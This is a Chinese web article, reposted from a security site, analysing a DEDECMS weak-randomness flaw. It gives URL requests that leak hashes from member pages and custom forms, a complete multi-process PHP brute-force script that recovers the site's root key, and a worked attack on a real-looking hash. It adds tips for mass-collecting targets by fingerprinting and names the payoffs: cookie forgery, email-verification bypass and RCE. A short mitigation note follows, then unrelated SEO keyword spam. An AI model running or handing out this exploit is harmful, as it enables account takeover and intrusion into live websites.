千家信息网

DEDECMS如何获取root key

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇文章为大家展示了DEDECMS伪随机漏洞分析之如何获取root key,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。1.用户主页1.1 限制条件(中)要求
千家信息网最后更新 2026年10月31日DEDECMS如何获取root key

本篇文章为大家展示了DEDECMS伪随机漏洞分析之如何获取root key,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

1.用户主页

1.1 限制条件(中)

要求开启会员功能

1.2 代码分析

1.3 获取方法

请求:(查看admin主页)

url+/member/index.php?uid=admin

响应:

admin

last_vid_ckMd5 的hash值


2. 自定义表单

2.1 限制条件(低)

网站管理员需要为网站定义表单.

下载了几套通过DEDECMS改造的模板, 都保留了该功能, 且大部分站点有自己的表单格式.或者说正常在使用的dedcms大部分都有表单: )

2.2 代码分析

2.3 获取方法

请求:(查看表单)

url+/plus/diy.php?diyid=1

响应:

dede_fieIds

dede_fieIdshash 这两个值


3. POC

1. 保存如下代码到dede_funcookie.php
2. 修改里面的$cpu, $attack_method, $attack_param, $attack_hash
3. 若是目标网站为php7: php7 dede_funcookie.php 若是目标网站为php5: php5 dede_funcookie.php,若是不明确可以两个都跑 ε=ε=ε=(~ ̄▽ ̄)~
4. 在16核 CPU,8G内存下, 跑完整个程序需要 4444秒,建议不要同时跑两个, 注意自己的CPU负载情况

$t1=microtime(true);
echo "开始时间: $t1\n";
//请填写下面的信息
$cpu = 8; // cpu: CPU核数,$cpu对应到开启的进程的数量,不宜过高
$attack_method = 2; // 碰撞类型: 如果是用户主页就是1, 自定义表单就是2
$attack_param = ""; // 数据: 选择1填写uid, 选择2填写dede_fields
$attack_hash = ""; // hash: 填写hash

$max_ = 4294967296;
$targets_ = [];
$the_1 = (int)($max_ / $cpu);
$the_2 = $max_ % $cpu;
for ($i = 0; $i < $cpu; $i++){
array_push($targets_,[($i)*$the_1,($i+1)*$the_1]);
}
$chars='abcdefghigklmnopqrstuvwxwyABCDEFGHIGKLMNOPQRSTUVWXWY0123456789';
$max = 61; // strlen($chars) - 1;
$already_test = 0;
for ($i = 0; $i < $cpu; $i++){
$pid = pcntl_fork();
if ($pid == -1) {
die("could not fork");
} elseif ($pid) {
;
//echo $pid;
//echo "I'm the Parent $i\n";
} else {
//var_dump($targets_[$i][0]);
the_poc($targets_[$i][0],$targets_[$i][1],$i);
exit;
}
}

function the_poc($start,$end,$id){
global $chars;
global $max;
global $attack_method;
global $attack_param;
global $attack_hash;
$the_whole = (int)(($end-$start)/1000000);
$i_do = 0;

for($y = $start; $y<= $end; $y++) {
if (($i_do00000) == 1){
echo "$id 已完成(x1000000): ";
echo (int)($i_do/1000000);
echo "/$the_whole\n";
}
$i_do = $i_do + 1;
srand($y);
$length = rand(28,32);

mt_srand($y);
$rnd_cookieEncode='';
for($i = 0; $i < $length; $i++) {
$rnd_cookieEncode .= $chars[mt_rand(0, $max)];
}
if ($attack_method==1){
if (substr(md5($rnd_cookieEncode.$attack_param),0,16) == $attack_hash){
echo "here!!!!\n";
echo $rnd_cookieEncode;
echo "\n";
echo $y;
echo "\n";
break;
}
}else{
if (md5($attack_param.$rnd_cookieEncode) == $attack_hash){
echo "here!!!!\n";
echo $rnd_cookieEncode;
echo "\n";
echo $y;
echo "\n";
}
}
}
}

// 等待子进程执行结束
while (pcntl_waitpid(0, $status) != -1) {
$status = pcntl_wexitstatus($status);
$pid = posix_getpid();
echo "Child $status completed\n";
}
$t2=microtime(true)-$t1; //获取程序1,结束的时间
echo "总计用时: $t2\n";
?>

四、危害

1. Cookie伪造

2. 通过邮箱认证

3. 前台RCE

邮箱hash算法,唯一不知道的是rootkey, 通过poc跑出了rootkey,就能构造出来,然后访问hash即可通过邮箱认证, 对于"dedecms前台任意用户登录"的利用有些许帮助⑧

五、实战

TIPS: 可以通过指纹,把hash全部采集到, 然后脚本跑一遍即可全部出结果, 因为全网的dedecms的root key分布在2^33这个范围内: ), 在跑脚本遍历这个范围的时候其实都覆盖到了.

FIND A Luck One:

1. 指纹查找

2. 碰撞data和hash

3. ATTACK:

修改一下dede_funcookie.php里面的参数:*本文作者:,转载请注明来自FreeBuf.COM

$cpu = 16
$attack_method = 2
$attack_param = "name,text;tel,text;content,text;hz,text;qq,text"
$attack_hash = "a058f44c032cf2e4da07ebe80fbd52d8"


4. GET ROOT KEY AND ENJOY:

睡了一觉, 看一下结果:

在nohup2.out里面:

防护建议

可以考虑在rootkey后面手动加入一些值,或者生成算法部分加入当前时间、ip、servername,或者uuid混合一下,作为防护手段。

上述内容就是DEDECMS伪随机漏洞分析之如何获取root key,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

表单 网站 分析 两个 主页 代码 就是 时间 用户 若是 邮箱 内容 前台 功能 大部分 建议 技能 指纹 方法 条件 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 湖北九亚互联网络科技有限公司 亿人帮互联网科技有限公司 互联网佳科技有限公司 科技赋能下的互联网金融 互联网科技会 互联网科技的 麻工互联网科技 互联网金融 科技 华宇互联网科技 互联网科技金融公司 互联网金融公司科技 撒么互联网科技公司 互联网系的金融科技公司 电子科技大学互联网创业大赛 互联网科技如何创业 互联网科技包装股份有限公司上市 东营紫格互联网科技 2021世界互联网领先科技成果发布 数字科技和互联网金融哪个好 上海旺乐尼互联网科技有限公司 互联网科技工作委员会主任 润盈互联网科技 科技互联网创业计划书 美国互联网前沿科技 玉溪互联网科技怎么选 哈尔滨屹滨互联网科技有限公司 工业互联网等科技实现智能化赋能 宇信科技在杭州互联网排第几 西安左小互联网科技有限公司 长沙易易互联网科技有限公司
0